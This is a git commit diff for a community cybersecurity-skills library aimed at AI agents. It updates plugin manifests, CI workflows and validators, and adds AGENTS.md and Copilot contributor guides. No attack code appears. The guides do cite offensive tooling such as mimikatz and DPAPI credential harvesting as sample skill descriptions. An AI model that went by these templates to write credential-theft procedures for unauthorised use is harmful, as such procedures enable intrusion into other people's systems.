fix: pick up contributors the cached API has not caught up with

GitHub's /contributors endpoint is heavily cached and can lag a merge by up
to a day. dakshverma23's commit from #129 was already linked to their account
- /commits reports it, and the commit API confirms the link - but they were
absent from the contributor wall because /contributors had not refreshed.

update-contributors.py now unions the two endpoints: /contributors for the
authoritative counts and ordering, /commits for anyone linked but not yet
surfaced. Commits authored with an unlinkable email still appear in neither,
which matches what GitHub's own contributor graph shows.

Wall goes from 13 to 14.

.claude-plugin/marketplace.json

@@ -5,15 +5,15 @@
     "email": "mukuljangra5@gmail.com"
   },
   "metadata": {
-    "description": "753 cybersecurity skills for AI agents and security practitioners covering web security, pentesting, forensics, threat intelligence, cloud security, and more.",
-    "version": "1.1.0"
+    "description": "818 cybersecurity skills for AI agents mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework (F3).",
+    "version": "1.3.0"
   },
   "plugins": [
     {
       "name": "cybersecurity-skills",
       "source": "./",
-      "descripyion": "753 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.",
-      "version": "1.1.0",
+      "description": "818 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more. Mapped to 6 frameworks.",
+      "version": "1.3.0",
       "author": {
         "name": "mukul975"
       },

.claude-plugin/plugin.json

@@ -1,5 +1,5 @@
 {
   "name": "cybersecurity-skills",
-  "description": "753 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.",
-  "version": "1.0.0"
+  "description": "818 cybersecurity skills covering web security, pentesting, DFIR, threat intelligence, cloud security, malware analysis, and more.",
+  "version": "1.3.0"
 }

.github/copilot-instructions.md

@@ -0,0 +1,546 @@
+# Copilot Instructions for Anthropic-Cybersecurity-Skills
+
+**Anthropic-Cybersecurity-Skills** is the largest open-source cybersecurity skills library for AI agents, containing 817 production-grade skills mapped to 6 industry frameworks (MITRE ATT&CK, NIST CSF, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3). This document guides Copilot agents contributing new skills and framework mappings.
+
+## Quick Facts
+
+- **Type**: Open-source cybersecurity skills library + framework mapping hub
+- **Skills**: 817 across 29 security domains
+- **Frameworks**: 6 (MITRE ATT&CK v14, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, MITRE F3)
+- **Format**: agentskills.io standard (YAML frontmatter + Markdown)
+- **License**: Apache 2.0 (ethical use required)
+- **Community**: Independent, community-created (not affiliated with Anthropic)
+
+## Repository Structure
+
+```
+Anthropic-Cybersecurity-Skills/
+├── skills/                    # 817 skill directories (kebab-case)
+│   ├── abusing-dpapi-for-credential-access/
+│   │   ├── SKILL.md          # Frontmatter + detailed instructions
+│   │   ├── LICENSE
+│   │   ├── scripts/
+│   │   │   └── process.py    # Optional helper scripts
+│   │   └── references/
+│   │       ├── api-reference.md
+│   │       ├── standards.md
+│   │       └── workflows.md
+│   └── ... (816 more)
+├── mappings/                  # Framework coverage & alignment
+│   ├── mitre-attack/
+│   │   ├── attack-navigator-layer.json
+│   │   └── coverage-summary.md
+│   ├── nist-csf/
+│   ├── owasp/
+│   └── README.md
+├── docs/                      # Additional documentation
+├── index.json                 # Central skill registry (auto-generated)
+├── CONTRIBUTING.md            # Contribution guide
+├── SECURITY.md               # Ethical use & dual-use policies
+└── CODE_OF_CONDUCT.md        # Community guidelines
+```
+
+## Build & Development
+
+### Prerequisites
+
+- **Git** (for cloning and version control)
+- **Python 3.8+** (optional, for scripts/metadata generation)
+- **jq** (optional, for JSON processing; useful for index.json queries)
+
+### Local Setup
+
+```bash
+# Clone the repository
+git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
+cd Anthropic-Cybersecurity-Skills
+
+# No installation needed—skills are static Markdown files
+# View a skill directly:
+cat skills/abusing-dpapi-for-credential-access/SKILL.md
+
+# Search for skills by keyword:
+grep -r "credential-access" skills/*/SKILL.md | head -10
+
+# Query the central index:
+jq '.skills[] | select(.description | contains("Active Directory"))' index.json
+```
+
+### Generating/Updating index.json
+
+When adding new skills, the index must be regenerated:
+
+```bash
+# If a script exists (check repository):
+python3 generate_index.py
+
+# Otherwise, manually verify:
+jq '.skills | length' index.json  # Should match skill directory count
+```
+
+## Architecture & Concepts
+
+### Skill Structure
+
+Each skill is a **self-contained directory** following the `agentskills.io` standard:
+
+```
+skills/skill-name/
+├── SKILL.md              # The authoritative skill definition
+├── LICENSE               # Apache 2.0 (usually)
+├── scripts/
+│   └── process.py        # Optional: helper scripts, agent implementations
+└── references/
+    ├── api-reference.md  # Technical API docs for the skill
+    ├── standards.md      # CVE, NIST, MITRE refs
+    └── workflows.md      # Deep technical procedures
+```
+
+### SKILL.md Format
+
+Every skill follows this structure:
+
+```markdown
+---
+name: skill-name-kebab-case
+description: >-
+  Clear, agent-discoverable description.
+  Include keywords for search/filtering.
+  This is what agents read to decide whether to use this skill.
+domain: cybersecurity
+subdomain: red-teaming  # e.g. digital-forensics, compliance-governance, etc.
+tags:
+  - tool-names (mimikatz, burp-suite, etc.)
+  - frameworks (active-directory, cloud, kubernetes, etc.)
+  - techniques (credential-access, privilege-escalation, etc.)
+version: "1.0"
+author: github-username
+license: Apache-2.0
+nist_csf:
+  - DE.CM-01
+  - PR.AC-01
+mitre_attack:
+  - T1555.004
+  - T1078.002
+mitre_atlas:
+  - AML.P1.003
+mitre_d3fend:
+  - D3-CAA
+  - D3-PCA
+nist_ai_rmf:
+  - GOV-1
+mitre_f3:
+  - FI-B-003
+---
+
+# Skill Title
+
+> **Legal Notice:** This skill is for authorized [penetration testing/research/defense] only.
+> Unauthorized use may violate computer fraud laws. Always operate within rules-of-engagement.
+
+## Overview
+
+Clear, concise explanation of what the skill does and why an agent needs it.
+Include threat model context if applicable.
+
+## When to Use
+
+- Specific scenario 1
+- Specific scenario 2
+- Real-world contexts where this skill applies
+
+## Prerequisites
+
+- Required tools (with install commands if applicable)
+- Required access/permissions
+- Required knowledge/certifications
+- System requirements
+
+## Workflow
+
+### Step 1: [Action]
+Clear instructions with real commands.
+```bash
+tool-name --flag value
+```
+
+### Step 2: [Next Action]
+Continue with detailed steps.
+
+### Output Format
+
+What success looks like:
+```
+Expected output or indicator
+```
+
+## Key Concepts
+
+| Term | Definition |
+|------|-----------|
+| Concept1 | Explanation |
+| Concept2 | Explanation |
+
+## Tools & Systems
+
+- **Tool A** — What it does, where to get it
+- **Tool B** — What it does, where to get it
+
+## Common Scenarios
+
+### Scenario 1
+When X, do Y.
+
+### Scenario 2
+When A, do B.
+
+## References
+
+- [MITRE ATT&CK: T1555.004](https://attack.mitre.org/techniques/T1555/004/)
+- [NIST CSF: DE.CM-01](https://csrc.nist.gov/)
+```
+
+### Framework Mappings
+
+Each skill can map to multiple frameworks. Key mappings:
+
+| Framework | Scope | Example |
+|-----------|-------|---------|
+| **MITRE ATT&CK** | Adversarial tactics/techniques | T1555.004 (Credentials from Password Stores) |
+| **NIST CSF 2.0** | Cybersecurity functions & categories | DE.CM (Detect - Monitor) |
+| **MITRE ATLAS** | AI/ML system attacks | AML.P (AI Preparation) |
+| **MITRE D3FEND** | Defensive techniques | D3-CAA (Capture Analysis Analytics) |
+| **NIST AI RMF** | AI risk management | GOV (Governance) |
+| **MITRE F3** | Fraud-specific techniques | FI-B (Fraud Impact) |
+
+### Subdomains (Choose One)
+
+- **web-application-security** — OWASP, API, web app testing
+- **network-security** — Network tools, protocols, monitoring
+- **penetration-testing** — General penetration testing methodology
+- **red-teaming** — Simulating advanced attackers (C2, evasion, etc.)
+- **digital-forensics** — Incident response, forensic analysis, disk imaging
+- **malware-analysis** — Static/dynamic malware analysis, reverse engineering
+- **threat-intelligence** — Gathering, analyzing, sharing threat data
+- **cloud-security** — AWS/Azure/GCP-specific security
+- **container-security** — Docker, Kubernetes, container runtime
+- **identity-access-management** — Active Directory, IAM, authentication
+- **cryptography** — Encryption, hashing, key management
+- **vulnerability-management** — Scanning, assessment, remediation
+- **compliance-governance** — CMMC, HIPAA, SOC2, auditing
+- **zero-trust-architecture** — Zero-trust implementation patterns
+- **ot-ics-security** — Operational technology, ICS/SCADA
+- **devsecops** — Secure software development, CI/CD security
+
+## Conventions & Patterns
+
+### Naming
+
+- **Directory/file**: kebab-case, lowercase with hyphens (e.g., `abusing-dpapi-for-credential-access`)
+- **Skill name**: Same as directory (in YAML frontmatter)
+- **GitHub usernames**: Use lowercase GitHub username as author
+
+### Description Quality
+
+Descriptions should be **agent-discoverable** — concise, keyword-rich, action-oriented:
+
+```yaml
+# ✗ Vague
+description: How to abuse DPAPI
+
+# ✓ Clear and searchable
+description: >-
+  Extract DPAPI-protected secrets such as credentials and browser data
+  offline and online using SharpDPAPI, Mimikatz, or impacket. Ideal
+  for post-exploitation Windows credential harvesting and offline analysis.
+```
+
+### Tags Strategy
+
+Use 3-5 tags for discoverability:
+
+```yaml
+tags:
+  - tool-names           # mimikatz, sharpdpapi, burp-suite
+  - attack-frameworks    # active-directory, kerberos, oauth
+  - techniques           # credential-access, privilege-escalation, lateral-movement
+  - platforms            # windows, linux, macos, cloud
+  - use-cases            # post-exploitation, threat-intel, forensics
+```
+
+### Framework ID Format
+
+IDs are **case-sensitive** and **exact**:
+
+```yaml
+mitre_attack:
+  - T1055                   # Parent technique
+  - T1055.001               # Sub-technique
+nist_csf:
+  - DE.CM-01                # NIST Cybersecurity Framework 2.0
+mitre_atlas:
+  - AML.P1.003              # MITRE ATLAS for AI/ML
+mitre_d3fend:
+  - D3-CAA                  # MITRE D3FEND defensive technique ID
+nist_ai_rmf:
+  - GOV-1                   # NIST AI Risk Management Framework
+mitre_f3:
+  - FI-B-003                # MITRE Fight Fraud Framework
+```
+
+## Common Tasks
+
+### Adding a New Skill
+
+1. **Create skill directory** (kebab-case):
+   ```bash
+   mkdir -p skills/your-skill-name
+   ```
+
+2. **Create SKILL.md** with required frontmatter:
+   ```bash
+   cat > skills/your-skill-name/SKILL.md << 'EOF'
+   ---
+   name: your-skill-name
+   description: >-
+     Clear, discoverable description with keywords.
+   domain: cybersecurity
+   subdomain: red-teaming
+   tags:
+     - tool-name
+     - technique
+     - use-case
+   version: "1.0"
+   author: your-github-username
+   license: Apache-2.0
+   mitre_attack:
+     - T1234.567
+   nist_csf:
+     - DE.CM-01
+   mitre_atlas:
+     - AML.P1.003
+   mitre_d3fend:
+     - D3-CAA
+   nist_ai_rmf:
+     - GOV-1
+   mitre_f3:
+     - FI-B-003
+   ---
+   
+   # Skill Title
+   
+   > **Legal Notice:** Authorized use only. [...]
+   
+   ## Overview
+   
+   Clear explanation...
+   EOF
+   ```
+
+3. **Write detailed sections** in Markdown:
+   - When to Use (specific scenarios)
+   - Prerequisites (tools, permissions, access)
+   - Workflow (numbered steps with real commands)
+   - Key Concepts (table for terminology)
+   - Tools & Systems
+   - Common Scenarios
+   - References (framework links)
+
+4. **Add optional supporting files**:
+   ```
+   scripts/process.py         # Helper script or agent implementation
+   references/standards.md    # CVE, NIST, MITRE links
+   references/workflows.md    # Deep technical procedures
+   ```
+
+5. **Add LICENSE**:
+   ```bash
+   cp LICENSE skills/your-skill-name/LICENSE
+   # Or use a specific open-source license file
+   ```
+
+6. **Regenerate index** (if automation exists):
+   ```bash
+   python3 generate_index.py  # Updates index.json
+   ```
+
+7. **Submit PR**:
+   ```bash
+   git add skills/your-skill-name
+   git commit -m "Add skill: your-skill-name"
+   git push origin feature/add-skill-name
+   # Create PR with title: "Add skill: your-skill-name"
+   ```
+
+### Updating Framework Mappings
+
+If a skill maps to new frameworks or techniques change:
+
+1. **Update SKILL.md frontmatter**:
+   ```yaml
+   mitre_attack:
+     - T1555.004      # Add new technique IDs
+   nist_csf:
+     - DE.CM-01       # Add new control IDs
+   ```
+
+2. **Regenerate index** (if automation exists):
+   ```bash
+   python3 generate_index.py
+   ```
+
+3. **Verify mapping coverage**:
+   ```bash
+   # Check if all referenced IDs are valid:
+   grep -r "T1[0-9]" skills/*/SKILL.md | grep -v "http"
+   ```
+
+### Searching Skills
+
+**By keyword**:
+```bash
+grep -r "active-directory" skills/*/SKILL.md
+```
+
+**By framework**:
+```bash
+grep -r "T1055" skills/*/SKILL.md  # MITRE ATT&CK technique
+```
+
+**By subdomain**:
+```bash
+grep "subdomain: red-teaming" skills/*/SKILL.md
+```
+
+**Using jq (if index.json exists)**:
+```bash
+# Find skills by keyword
+jq '.skills[] | select(.tags[] | contains("credential-access"))' index.json
+
+# Count skills by subdomain
+jq '[.skills[] | .subdomain] | group_by(.) | map({subdomain: .[0], count: length})' index.json
+```
+
+## Platform & Framework Notes
+
+### Windows-Specific Skills
+
+- Often leverage PowerShell, Windows APIs, Active Directory
+- Reference MITRE ATT&CK Windows tactics: T1021 (Lateral Movement), T1078 (Valid Accounts)
+- Include prerequisite (SYSTEM/Administrator access, domain join, etc.)
+
+### Linux/macOS Skills
+
+- Use standard Unix tools (bash, Python, curl, etc.)
+- Note platform availability differences
+- Cloud/container skills often multi-platform
+
+### Cloud Security Skills
+
+- Specify cloud provider (AWS, Azure, GCP, multi-cloud)
+- Reference cloud-specific tools (awscli, az, gcloud)
+- Map to cloud-specific MITRE ATLAS techniques
+
+### AI/ML Attack Skills
+
+- Use MITRE ATLAS techniques (AML.P1, AML.E1, etc.)
+- Include model/system type (LLM, transformer, computer vision, etc.)
+- Note NIST AI RMF alignment (GOV, MAP, MEASURE, MANAGE)
+
+## Gotchas & Known Issues
+
+### Legal & Ethical
+
+- **Dual-use policy**: Skills for red-teaming and exploitation require legal notice
+  - Must include "authorized use only" disclaimer
+  - Reference SECURITY.md for policy
+- **No credentials**: Never embed API keys, tokens, or credentials
+- **Attribution**: Cite original tool authors and researchers
+
+### Framework Maintenance
+
+- **MITRE ATT&CK updates**: v14 is current; check attack.mitre.org for latest
+- **NIST CSF 2.0**: Rolled out Feb 2024; use subcategory IDs as in this repo (e.g., `DE.CM-01`, `PR.PS-01`)
+- **Technique changes**: Techniques may deprecate; verify via attack.mitre.org
+
+### Subdomain Assignment
+
+- **Common mistake**: Using wrong subdomain (e.g., "red-teaming" for defensive skill)
+  - red-teaming = offensive/attacker perspective
+  - compliance-governance = defensive/compliance perspective
+  - Choose the **primary** subdomain if skill spans multiple
+
+### index.json Generation
+
+- If index doesn't auto-regenerate, manually verify:
+  ```bash
+  # Count skills in index vs directories
+  jq '.skills | length' index.json
+  ls -d skills/*/ | wc -l
+  # Should match (or index may be stale)
+  ```
+
+## Testing & Quality
+
+### Skill Quality Checklist
+
+Before submitting a PR:
+
+- [ ] **Name**: Kebab-case, 1-64 chars, descriptive
+- [ ] **Description**: Clear, includes keywords, discoverable by agents
+- [ ] **Instructions**: Actionable with real commands and tool names
+- [ ] **Subdomain**: Correctly assigned (red-teaming vs defensive)
+- [ ] **Tags**: 3-5 relevant tags (tools, techniques, platforms)
+- [ ] **Framework IDs**: Valid MITRE ATT&CK, NIST CSF, MITRE ATLAS IDs
+- [ ] **Legal notice**: Included if skill is offensive/dual-use
+- [ ] **References**: Links to official framework docs
+- [ ] **Formatting**: Proper Markdown, no typos, code blocks highlighted
+
+### Manual Verification
+
+```bash
+# Validate skill frontmatter and conventions (repo validator):
+python3 tools/validate-skill.py skills/my-skill/
+# Or validate all skills:
+python3 tools/validate-skill.py --all
+
+# Check for framework ID patterns:
+grep -E "^  - (T1[0-9]{3,4}(\.[0-9]{3})?|DE\.[A-Z]{2}-[0-9]{2}|AML\.)" skills/*/SKILL.md
+
+# Verify all referenced skills have directories:
+jq -r '.skills[].name' index.json | while read skill; do
+  [ -d "skills/$skill" ] || echo "Missing: $skill"
+done
+```
+
+## Contributing Notes
+
+- **No build required** — Skills are static files; git pull = ready to use
+- **Skill dependencies**: Skills are independent; if skill A requires skill B, note it in the workflow
+- **Tool versions**: Mention tool versions in prerequisites (e.g., "Burp Suite 2024.1+")
+- **Testing**: Test commands on actual systems before submitting
+- **Code of Conduct**: See CODE_OF_CONDUCT.md — be respectful, follow ethical use policy
+
+## Resources & Links
+
+- **agentskills.io Standard**: https://agentskills.io (format specification)
+- **MITRE ATT&CK**: https://attack.mitre.org (techniques, tactics)
+- **NIST Cybersecurity Framework**: https://csrc.nist.gov/projects/cybersecurity-framework (controls)
+- **MITRE ATLAS**: https://atlas.mitre.org (AI/ML attacks)
+- **MITRE D3FEND**: https://d3fend.mitre.org (defensive techniques)
+- **NIST AI RMF**: https://nvlabs.nist.gov/display/AIRFF (AI risk management)
+- **Contributing Guide**: `CONTRIBUTING.md` in repo
+- **Security Policy**: `SECURITY.md` — dual-use & ethical use
+- **Code of Conduct**: `CODE_OF_CONDUCT.md`
+- **Community Playground**: https://casky.ai (test skills in browser)
+
+## Quick Reference
+
+| Task | Command |
+|------|---------|
+| Add skill | `mkdir skills/name && cat > SKILL.md` |
+| Search by technique | `grep -r "T1055" skills/` |
+| Search by subdomain | `grep "subdomain: red-teaming" skills/*/SKILL.md` |
+| Validate skill | `python3 tools/validate-skill.py skills/my-skill/` |
+| Regenerate index | `python3 generate_index.py` (if exists) |
+| View mapping coverage | Open `mappings/mitre-attack/attack-navigator-layer.json` in ATT&CK Navigator |

.github/workflows/sync-marketplace-version.yml

@@ -14,6 +14,8 @@ jobs:
       - uses: actions/checkout@v4
         with:
           token: ${{ secrets.GITHUB_TOKEN }}
+          ref: main
+          fetch-depth: 0
 
       - name: Extract version from tag
         id: version
@@ -22,20 +24,20 @@ jobs:
           echo "version=$VERSION" >> $GITHUB_OUTPUT
           echo "tag=$GITHUB_REF_NAME" >> $GITHUB_OUTPUT
 
-      - name: Update marketplace.json version
+      - name: Update marketplace.json and plugin.json version
         env:
           VERSION: ${{ steps.version.outputs.version }}
         run: |
-          jq --arg v "$VERSION" 
-            '.metadata.version = $v | .plugins[].version = $v' 
-            .claude-plugin/marketplace.json > tmp.json
+          jq --arg v "$VERSION" '.metadata.version = $v | .plugins[].version = $v' .claude-plugin/marketplace.json > tmp.json
           mv tmp.json .claude-plugin/marketplace.json
-          echo "Updated marketplace.json to version $VERSION"
+          jq --arg v "$VERSION" '.version = $v' .claude-plugin/plugin.json > tmp.json
+          mv tmp.json .claude-plugin/plugin.json
+          echo "Updated marketplace.json and plugin.json to version $VERSION"
 
       - name: Commit and push
         run: |
           git config user.name "mukul975"
           git config user.email "mukuljangra5@gmail.com"
-          git add .claude-plugin/marketplace.json
-          git diff --staged --quiet || git commit -m "chore: bump marketplace version to ${{ steps.version.outputs.tag }}"
-          git push
+          git add .claude-plugin/marketplace.json .claude-plugin/plugin.json
+          git diff --staged --quiet || git commit -m "chore: bump plugin version to ${{ steps.version.outputs.tag }}"
+          git push origin HEAD:main

.github/workflows/update-contributors.yml

@@ -0,0 +1,44 @@
+name: Update contributors
+
+on:
+  push:
+    branches: [main]
+  schedule:
+    # GitHub's contributors API is cached and lags a merge by up to ~24h, so a
+    # weekly pass catches anyone the push-triggered run was too early to see.
+    - cron: '17 4 * * 1'
+  workflow_dispatch:
+
+# Only one run at a time; a burst of merges must not race on README.md.
+concurrency:
+  group: update-contributors
+  cancel-in-progress: false
+
+jobs:
+  update:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          token: ${{ secrets.GITHUB_TOKEN }}
+
+      - name: Regenerate the contributor wall
+        env:
+          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+        run: python3 tools/update-contributors.py
+
+      - name: Commit if it changed
+        run: |
+          git config user.name "mukul975"
+          git config user.email "mukuljangra5@gmail.com"
+          git add README.md
+          if git diff --staged --quiet; then
+            echo "No new contributors."
+            exit 0
+          fi
+          git commit -m "chore: update contributor wall"
+          # Another workflow (update-index) may have pushed while this ran.
+          git pull --rebase --autostash origin main
+          git push

.github/workflows/update-index.yml

@@ -18,53 +18,62 @@ jobs:
         with:
           token: ${{ secrets.GITHUB_TOKEN }}
 
+      - name: Install dependencies
+        run: pip install pyyaml
+
+      # Generation lives in tools/generate-index.py so it is testable outside CI
+      # and shares one PyYAML-backed frontmatter parser with the validators.
+      # The previous inline regex parser silently truncated 604/817 descriptions
+      # to their first line for every YAML scalar style except '>'/'|'.
       - name: Regenerate index.json
+        run: python3 tools/generate-index.py
+
+      - name: Sync skill count into README and marketplace
         run: |
           python3 << 'EOF'
-          import os, json, re
-          from datetime import datetime, timezone
+          import os, re, json
 
-          skills_dir = "skills"
-          skills = []
-
-          for skill_name in sorted(os.listdir(skills_dir)):
-              skill_md = os.path.join(skills_dir, skill_name, "SKILL.md")
-              if not os.path.isfile(skill_md):
+          # Authoritative count: directories under skills/ that contain a SKILL.md
+          # and are not .bak backups (matches index.json generation above).
+          count = 0
+          for name in os.listdir("skills"):
+              if name.endswith(".bak"):
                   continue
-              with open(skill_md, "r", encoding="utf-8") as f:
-                  content = f.read()
-              fm_match = re.match(r"^---\n(.*?)\n---", content, re.DOTALL)
-              description = ""
-              if fm_match:
-                  m = re.search(r"^description:\s*(.+)$", fm_match.group(1), re.MULTILINE)
-                  if m:
-                      description = m.group(1).strip().strip('"')
-              skills.append({
-                  "name": skill_name,
-                  "description": description,
-                  "domain": "cybersecurity",
-                  "path": f"skills/{skill_name}"
-              })
+              if os.path.isfile(os.path.join("skills", name, "SKILL.md")):
+                  count += 1
+          print(f"Authoritative skill count: {count}")
 
-          index = {
-              "version": "1.1.0",
-              "generated_at": datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ"),
-              "repository": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills",
-              "domain": "cybersecurity",
-              "total_skills": len(skills),
-              "skills": skills
-          }
+          # README.md — replace the skills badge and every "<NNN> ... skills" phrase.
+          with open("README.md", encoding="utf-8") as f:
+              readme = f.read()
+          readme = re.sub(r"(badge/skills-)\d+", rf"\g<1>{count}", readme)
+          # "817 production-grade", "817 structured", "817 skills", "all 817 skills",
+          # "Scans 817 skill", "contains **817 skills**", BibTeX "{817 structured"
+          readme = re.sub(r"\b\d+(?=\s+production-grade cybersecurity skills)", str(count), readme)
+          readme = re.sub(r"\b\d+(?=\s+structured cybersecurity skills)", str(count), readme)
+          readme = re.sub(r"(all\s+)\d+(?=\s+skills)", rf"\g<1>{count}", readme)
+          readme = re.sub(r"(Scans\s+)\d+(?=\s+skill\b)", rf"\g<1>{count}", readme)
+          readme = re.sub(r"(contains\s+\*\*)\d+(?=\s+skills\*\*)", rf"\g<1>{count}", readme)
+          readme = re.sub(r"(\{)\d+(?=\s+structured cybersecurity skills)", rf"\g<1>{count}", readme)
+          with open("README.md", "w", encoding="utf-8") as f:
+              f.write(readme)
 
-          with open("index.json", "w", encoding="utf-8") as f:
-              json.dump(index, f, separators=(',', ':'))
+          # marketplace.json + plugin.json — patch "<NNN> cybersecurity skills" in descriptions.
+          for path in (".claude-plugin/marketplace.json", ".claude-plugin/plugin.json"):
+              with open(path, encoding="utf-8") as f:
+                  data = f.read()
+              data = re.sub(r"\b\d+(?=\s+cybersecurity skills)", str(count), data)
+              json.loads(data)  # fail loudly if the regex broke JSON
+              with open(path, "w", encoding="utf-8") as f:
+                  f.write(data)
 
-          print(f"Updated index.json: {len(skills)} skills")
+          print("Synced skill count into README.md, marketplace.json, plugin.json")
           EOF
 
-      - name: Commit updated index
+      - name: Commit updated index and skill count
         run: |
           git config user.name "mukul975"
           git config user.email "mukuljangra5@gmail.com"
-          git add index.json
-          git diff --staged --quiet || git commit -m "chore: auto-update index.json"
+          git add index.json README.md .claude-plugin/marketplace.json .claude-plugin/plugin.json
+          git diff --staged --quiet || git commit -m "chore: auto-update index.json and skill count"
           git push

.github/workflows/validate-skills.yml

@@ -4,9 +4,14 @@ on:
   push:
     paths:
       - 'skills/**'
+      - 'tools/**'
+      - '.github/workflows/validate-skills.yml'
   pull_request:
     paths:
       - 'skills/**'
+      - 'tools/**'
+      - '.github/workflows/validate-skills.yml'
+  workflow_dispatch:
 
 jobs:
   validate:
@@ -15,57 +20,50 @@ jobs:
     steps:
       - uses: actions/checkout@v4
 
-      - name: Validate SKILL.md frontmatter with Python
+      - name: Install dependencies
+        run: pip install pyyaml
+
+      # All frontmatter is parsed by tools/skill_frontmatter.py (PyYAML). Any
+      # reintroduced regex parser silently truncates multi-line descriptions --
+      # that bug shipped 604/817 broken descriptions before it was caught.
+      - name: Guard against hand-rolled YAML parsers
         run: |
-          python3 << 'EOF'
-          import os
-          import re
-          import sys
+          if grep -rnE '(re\.(search|match|compile)\([^)]*description|^\s*description:.*\(\.\*\))' \
+               tools/ --include='*.py' ; then
+            echo "::error::Regex-based frontmatter parsing detected. Use tools/skill_frontmatter.py."
+            exit 1
+          fi
+          echo "OK: no regex frontmatter parsers"
 
-          REQUIRED_FIELDS = ['name', 'description', 'domain', 'subdomain', 'tags', 'version', 'author', 'license']
-          errors = []
-          checked = 0
+      # Single source of truth: tools/validate-skill.py validates required
+      # frontmatter fields, kebab-case name, description length, subdomain, and
+      # tag count. (Previously this step duplicated a weaker inline parser.)
+      - name: Validate SKILL.md frontmatter
+        run: python3 tools/validate-skill.py --all
 
-          for root, dirs, files in os.walk('skills'):
-              for file in files:
-                  if file == 'SKILL.md':
-                      path = os.path.join(root, file)
-                      checked += 1
-                      with open(path, 'r', encoding='utf-8') as f:
-                          content = f.read()
+      # agentskills.io conformance: name==directory, 1..1024 description,
+      # reserved-word ban, angle-bracket injection check.
+      - name: Validate agentskills.io conformance
+        run: python3 tools/validate-agentskills.py --strict
 
-                      # Check frontmatter exists
-                      fm_match = re.match(r'^---\n(.*?)\n---', content, re.DOTALL)
-                      if not fm_match:
-                          errors.append(f"{path}: Missing YAML frontmatter")
-                          continue
+      # index.json is generated; a PR that changes a description must regenerate it.
+      # Pull requests only: on a push to main, update-index.yml regenerates
+      # index.json in parallel with this job, so checking here would race and go
+      # red on every merge that adds a skill before self-healing seconds later.
+      - name: Check index.json is current
+        if: github.event_name == 'pull_request'
+        run: python3 tools/generate-index.py --check
 
-                      fm = fm_match.group(1)
+      # Description quality gate. Pre-existing failures are grandfathered in
+      # tools/lint-baseline.json so this blocks NEW debt only; the baseline is
+      # allowed to shrink and never to grow.
+      - name: Lint descriptions
+        run: python3 tools/lint-descriptions.py --all --stats
 
-                      # Check required fields
-                      for field in REQUIRED_FIELDS:
-                          if not re.search(rf'^{field}:', fm, re.MULTILINE):
-                              errors.append(f"{path}: Missing required field '{field}'")
-
-                      # Check name format (kebab-case)
-                      name_match = re.search(r'^name:\s*(.+)$', fm, re.MULTILINE)
-                      if name_match:
-                          name = name_match.group(1).strip().strip('"')
-                          if not re.match(r'^[a-z0-9-]+$', name):
-                              errors.append(f"{path}: Name '{name}' must be kebab-case")
-                          if len(name) > 64:
-                              errors.append(f"{path}: Name '{name}' exceeds 64 characters")
-
-          print(f"Checked {checked} SKILL.md files")
-
-          if errors:
-              print(f"\n{len(errors)} validation error(s):")
-              for e in errors:
-                  print(f"  ❌ {e}")
-              sys.exit(1)
-          else:
-              print(f"✅ All {checked} skills valid")
-          EOF
+      # Ratchet: the number of unreviewed near-duplicate description pairs may
+      # never increase. Lower this cap as disambiguation lands.
+      - name: Detect skill collisions
+        run: python3 tools/detect-collisions.py --max-unreviewed 55
 
       - name: Check for duplicate skill names
         run: |

AGENTS.md

@@ -0,0 +1,54 @@
+# AGENTS.md
+
+Instructions for AI agents working in this repository.
+
+## What this repository is
+
+A library of 817 cybersecurity skills. Each skill is a directory under `skills/` containing a `SKILL.md` — YAML frontmatter plus a Markdown procedure — following the [agentskills.io](https://agentskills.io) standard.
+
+The layout is flat: `skills/<skill-name>/SKILL.md`. Do not nest skills by domain; agents discover them by scanning `skills/*/SKILL.md`.
+
+## Reading a skill
+
+Only `name` and `description` load at discovery time. The body loads once the description matches the request; `references/`, `scripts/` and `assets/` load only when referenced.
+
+Read the description first. If it carries a negative trigger — "Do not use for X — use `other-skill`" — honour it. Those exist because two skills would otherwise compete for the same request.
+
+## Changing a skill
+
+Frontmatter is parsed by `tools/skill_frontmatter.py`, which uses PyYAML. Do not write a regex frontmatter parser; CI fails the build if it detects one. Three hand-rolled parsers previously truncated 604 of 817 descriptions to their first line.
+
+After changing any `SKILL.md`:
+
+```bash
+pip install pyyaml
+python tools/validate-skill.py --all
+python tools/validate-agentskills.py --strict
+python tools/generate-index.py          # regenerate index.json
+python tools/lint-descriptions.py --all
+python tools/detect-collisions.py
+```
+
+All five run in CI. `index.json` is generated — never edit it by hand.
+
+## Writing a description
+
+The description is the only signal another agent sees when deciding whether to load the skill. It needs four things:
+
+1. What it does, concretely.
+2. `Use when …` — the phrasings a user would actually type.
+3. `Keywords:` — tool names, event IDs, CVEs, API calls.
+4. `Do not use for X — use other-skill.` — the negative trigger.
+
+Keep it under 1024 characters. Keep the body under 500 lines; depth belongs in `references/`.
+
+## Constraints
+
+- `name` must equal the directory name, lowercase-kebab, ≤64 characters.
+- `domain` is always `cybersecurity`. `subdomain` must be one the validator accepts — see CONTRIBUTING.md.
+- Scripts must run. No placeholders, no invented API endpoints, no fabricated CVE numbers.
+- Framework IDs must be real and current. A wrong mapping sends an investigation the wrong way; omit rather than guess.
+
+## Scope
+
+See [SCOPE.md](SCOPE.md). This repository holds skills. Runtimes, engines and applications belong elsewhere.

ATTACK_COVERAGE.md

@@ -6,7 +6,7 @@
   <img src="https://img.shields.io/badge/Tactics-14%2F14-green?style=for-the-badge" alt="Tactics" />
 </p>
 
-This document maps all **291 unique MITRE ATT&CK techniques** (across **149 parent techniques**) referenced in our **753+ cybersecurity skills** to the 14 Enterprise ATT&CK tactics. Use this to identify coverage gaps, plan detection engineering priorities, or validate your security program against the ATT&CK framework.
